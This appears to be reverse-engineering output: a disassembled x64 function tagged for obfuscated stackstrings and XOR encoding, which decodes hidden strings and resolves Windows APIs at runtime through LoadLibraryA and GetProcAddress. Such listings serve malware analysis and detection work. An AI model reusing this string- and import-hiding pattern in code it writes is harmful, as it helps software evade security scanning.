Function at 0x180053900
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x90
xor eax, eax
mov dword [rbp + 0xd], 0x587f4c1c
mov byte [rbp + 1], al
xor esi, esi
mov dword [rbp + 0x11], 0x7c607a7c
mov rdi, rcx
mov dword [rbp + 0x15], 0x63717b77
mov word [rbp + 0x19], 0x7f
mov dword [rbp - 9], 0x9e96b653
mov dword [rbp - 5], 0x9bd0cfcf
mov word [rbp - 1], 0x6d6c
mov qword [rbp + 0x67], rsi
mov rax, qword [rbp + 0x67]
nop dword [rax]
mov rcx, qword [rbp + 0x67]
mov rax, qword [rbp + 0x67]
add cl, 0xf
xor cl, byte [rbp + rax + 0xe]
mov rax, qword [rbp + 0x67]
mov byte [rbp + rax + 0xe], cl
mov rax, qword [rbp + 0x67]
inc rax
mov qword [rbp + 0x67], rax
mov rax, qword [rbp + 0x67]
cmp rax, 0xc
jb 0x180053960
mov byte [rbp + 0x1a], sil
mov qword [rbp + 0x67], rsi
mov rax, qword [rbp + 0x67]
nop dword [rax + rax]
mov rcx, qword [rbp + 0x67]
mov rax, qword [rbp + 0x67]
sub cl, 7
xor cl, byte [rbp + rax - 8]
mov rax, qword [rbp + 0x67]
mov byte [rbp + rax - 8], cl
mov rax, qword [rbp + 0x67]
inc rax
mov qword [rbp + 0x67], rax
mov rax, qword [rbp + 0x67]
cmp rax, 9
jb 0x1800539a0
mov rax, qword gs:[0x58]
mov ecx, dword [0x18039b468]
mov edx, 4
mov byte [rbp + 1], sil
mov rbx, qword [rax + rcx*8]
add rbx, rdx
mov eax, dword [rbx]
cmp dword [0x18039d510], eax
jle 0x180053a24
lea rcx, [0x18039d510]
call fcn.180360f8c
cmp dword [0x18039d510], 0xffffffff
jne 0x180053a24
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [0x18039d510]
mov qword [0x1803a15b8], rax
call fcn.180360f2c
mov eax, dword [rbx]
cmp dword [0x1803a1558], eax
jle 0x180053a5d
lea rcx, [0x1803a1558]
call fcn.180360f8c
cmp dword [0x1803a1558], 0xffffffff
jne 0x180053a5d
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1803a1558]
mov qword [0x1803a1560], rax
call fcn.180360f2c
lea rcx, [rbp - 8]
call qword [0x1803a15b8]
mov rcx, rax
lea rdx, [rbp + 0xe]
call qword [0x1803a1560]
test rax, rax
je 0x180053c33
xor ecx, ecx
call rax
movdqa xmm0, xmmword [0x18038f9f0]
xor eax, eax
mov byte [rbp + 0xc], al
movdqu xmmword [rbp + 0x3f], xmm0
mov word [rbp + 0x4f], 0x9d
mov dword [rbp + 2], 0xb0b89cb4
mov dword [rbp + 6], 0xbdf6e5e5
mov word [rbp + 0xa], 0xb7b6
mov qword [rbp + 0x67], rsi
mov rax, qword [rbp + 0x67]
nop word [rax + rax]
mov rcx, qword [rbp + 0x67]
mov rax, qword [rbp + 0x67]
sub cl, 0x17
xor cl, byte [rbp + rax + 0x40]
mov rax, qword [rbp + 0x67]
mov byte [rbp + rax + 0x40], cl
mov rax, qword [rbp + 0x67]
inc rax
mov qword [rbp + 0x67], rax
mov rax, qword [rbp + 0x67]
cmp rax, 0x10
jb 0x180053ac0
mov byte [rbp + 0x50], sil
mov qword [rbp + 0x67], rsi
mov rax, qword [rbp + 0x67]
nop dword [rax + rax]
mov rcx, qword [rbp + 0x67]
mov rax, qword [rbp + 0x67]
sub cl, 0x2d
xor cl, byte [rbp + rax + 3]
mov rax, qword [rbp + 0x67]
mov byte [rbp + rax + 3], cl
mov rax, qword [rbp + 0x67]
inc rax
mov qword [rbp + 0x67], rax
mov rax, qword [rbp + 0x67]
cmp rax, 9
jb 0x180053b00
mov eax, dword [rbx]
cmp dword [0x18039d510], eax
mov byte [rbp + 0xc], sil
jle 0x180053b69
lea rcx, [0x18039d510]
call fcn.180360f8c
cmp dword [0x18039d510], 0xffffffff
jne 0x180053b69
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [0x18039d510]
mov qword [0x1803a15b8], rax
call fcn.180360f2c
mov eax, dword [rbx]
cmp dword [0x1803a1558], eax
jle 0x180053ba2
lea rcx, [0x1803a1558]
call fcn.180360f8c
cmp dword [0x1803a1558], 0xffffffff
jne 0x180053ba2
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1803a1558]
mov qword [0x1803a1560], rax
call fcn.180360f2c
lea rcx, [rbp + 3]
call qword [0x1803a15b8]
mov rcx, rax
lea rdx, [rbp + 0x40]
call qword [0x1803a1560]
mov rbx, rax
test rax, rax
je 0x180053c33
xor edx, edx
mov qword [rdi], rsi
lea r9, [0x18038eb40]
mov dword [rbp + 0x1f], 0x148bd52a
lea rcx, [rbp + 0x1f]
mov dword [rbp + 0x23], 0x11cea2ab
mov dword [rbp + 0x27], 0xaa001fb1
lea r8d, [rdx + 1]
mov dword [rbp + 0x2b], 0x3055300
mov qword [rsp + 0x20], rdi
call rbx
lea rax, [rdi + 8]
xor edx, edx
lea r9, [0x18038e9f0]
mov qword [rax], rsi
lea rcx, [rbp + 0x2f]
mov dword [rbp + 0x2f], 0xf87369f
mov dword [rbp + 0x33], 0x4cfca4e5
lea r8d, [rdx + 1]
mov dword [rbp + 0x37], 0xe6733ebd
mov dword [rbp + 0x3b], 0xdd724515
mov qword [rsp + 0x20], rax
call rbx
lea r11, [rsp + 0x90]
mov rax, rdi
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret